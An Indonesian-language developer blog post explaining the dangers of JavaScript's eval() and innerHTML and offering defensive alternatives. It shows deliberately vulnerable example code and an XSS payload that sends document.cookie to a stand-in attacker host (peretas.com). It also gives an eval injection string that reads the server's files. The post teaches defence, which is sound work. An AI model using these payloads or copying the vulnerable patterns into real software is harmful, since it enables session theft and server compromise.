# Pedang Bermata Dua JavaScript: Memahami Bahaya Terselubung di Balik eval() dan innerHTML

Dalam ekosistem JavaScript, kecepatan sering kali menjadi prioritas. Kita ingin aplikasi yang reaktif, fitur yang dinamis, dan kode yang ringkas. Namun, di balik kemudahan yang ditawarkan oleh fungsi "ajaib" seperti `eval()` dan properti `innerHTML`, tersimpan celah yang bisa meruntuhkan seluruh infrastruktur keamanan sistem kita dalam sekejap.

Sebagai developer, memahami kerentanan ini bukan sekadar tentang "menghindari fungsi buruk", melainkan tentang memahami bagaimana data mengalir di memori dan bagaimana peretas mengeksploitasi "kepercayaan" sistem kita.

---

## 1\. eval(): "The Great Equalizer" yang Menghancurkan Batasan

`eval()` adalah fungsi yang mengubah teks mati (string) menjadi kode yang hidup. Di satu sisi, ia sangat *powerful*. Di sisi lain, ia adalah pintu masuk utama serangan **Remote Code Execution (RCE)**.

### Bagaimana RCE Terjadi?

Saat kita menggunakan `eval()`, kita memberikan izin kepada input untuk masuk ke dalam *engine* eksekusi JavaScript dengan hak akses yang sama dengan aplikasi kita. Jika ini terjadi di Node.js, peretas bukan lagi sekadar "pengunjung", melainkan "pemilik" server.

**Contoh Kasus: Injeksi Logika pada Backend**

Bayangkan sebuah fitur kalkulator dinamis sederhana:

JavaScript

```plaintext
// Kode yang sangat berisiko
app.post('/calculate', (req, res) => {
    const userFormula = req.body.formula; 
    const result = eval(userFormula); // Peretas bisa mengirim: process.env
    res.send(`Hasil: ${result}`);
});
```

Peretas tidak akan mengirim `2 + 2`. Mereka akan mengirim payload seperti:

`require('fs').readdirSync('.')` atau bahkan perintah untuk menghapus database. Karena `eval` tidak memiliki filter, server akan menjalankan perintah tersebut tanpa ragu.

---

## 2\. innerHTML: Karpet Merah Bagi Serangan XSS

Jika `eval()` adalah masalah di sisi server, maka `innerHTML` adalah momok di sisi browser (Client-side). Properti ini sering digunakan untuk menyuntikkan konten HTML secara dinamis.

### Anatomi Cross-Site Scripting (XSS)

Perbedaan antara `innerHTML` dan `textContent` adalah cara mereka memperlakukan tag. `innerHTML` merender tag, sedangkan `textContent` menganggapnya sebagai tulisan biasa.

**Contoh Kode Rentan:**

JavaScript

```plaintext
// Menampilkan nama user dari database
const userGreeting = document.getElementById('greeting');
userGreeting.innerHTML = `Selamat datang, ${userData.name}!`;
```

Jika seorang peretas mendaftarkan nama mereka sebagai:

`<img src=x onerror="fetch('`[`https://peretas.com/log?c=`](https://peretas.com/log?c=)`' + document.cookie)">`

Begitu halaman dimuat, browser akan mencoba memuat gambar `x`, gagal, lalu menjalankan skrip `onerror`. Hasilnya? **Session Cookie** pengguna dicuri dan dikirim ke server peretas.

---

## 3\. Pemanfaatan Bijak: Kapan Mereka Dibutuhkan?

Apakah fungsi-fungsi ini sepenuhnya terlarang? Tidak selalu. Ada skenario spesifik di mana mereka sangat bermanfaat jika digunakan dalam **lingkungan tertutup (Sanitized)**:

* **Templating Engines:** Engine seperti EJS atau Handlebars menggunakan mekanisme serupa untuk mengubah teks template menjadi fungsi yang sangat cepat.
    
* **Rich Text Editors:** Platform seperti Notion atau Medium membutuhkan `innerHTML` untuk merender konten yang memiliki format tebal, miring, dan tautan secara instan.
    
* **Scientific Calculators:** Aplikasi yang membutuhkan pemrosesan rumus matematika kompleks yang diinput oleh user.
    

---

## 4\. Tips Keamanan: Membangun Benteng Pertahanan

Bagaimana cara kita tetap produktif tanpa mengorbankan keamanan? Berikut adalah strateginya:

1. **Trust No One:** Selalu anggap data dari luar (user, API pihak ketiga, database) sebagai data "beracun". Gunakan library seperti **Zod** untuk validasi schema.
    
2. **Sanitasi DOM:** Jika harus menggunakan `innerHTML`, gunakan library **DOMPurify** untuk membersihkan tag berbahaya sebelum dirender.
    
3. **Content Security Policy (CSP):** Terapkan header CSP yang melarang penggunaan `unsafe-eval`. Ini adalah pengaman tingkat browser yang sangat efektif.
    
4. **Least Privilege:** Jalankan aplikasi Node.js dengan hak akses terbatas. Jangan pernah menjalankan server sebagai `root`.
    

---

## 5\. Teknologi Alternatif: Solusi Modern yang Lebih Aman

Dunia web telah berevolusi. Kita sekarang memiliki alat yang lebih cerdas untuk menggantikan fungsionalitas berbahaya:

* **Ganti** `eval()` dengan `JSON.parse()`: Untuk pengolahan data murni.
    
* **Ganti** `innerHTML` dengan `textContent`: 100% aman dari XSS jika Anda hanya butuh menampilkan teks.
    
* **Gunakan** `isolated-vm`: Jika Anda benar-benar perlu menjalankan kode JavaScript asing di server (misal untuk platform belajar koding), gunakan Isolate V8 yang benar-benar terpisah dari memori utama server.
    
* **WebAssembly (Wasm):** Untuk performa tinggi dan isolasi ketat dalam pemrosesan data biner.
    

---

## Kesimpulan

Keamanan bukan tentang satu baris kode yang sempurna, melainkan tentang **lapisan pertahanan (Defense in Depth)**. Sebagai developer, tugas kita bukan hanya membuat aplikasi yang *berjalan*, tapi membangun aplikasi yang *tahan banting*.

Dengan memahami bagaimana fitur seperti `eval()` dan `innerHTML` bekerja di tingkat rendah, kita bisa mengambil keputusan arsitektur yang lebih cerdas dan menjaga integritas data pengguna kita.

---

### Tentang Penulis

*Saya adalah seorang Full-Stack Developer yang berfokus pada pembangunan sistem yang aman dan scalable menggunakan Next.js, Hono, dan ekosistem modern JavaScript.*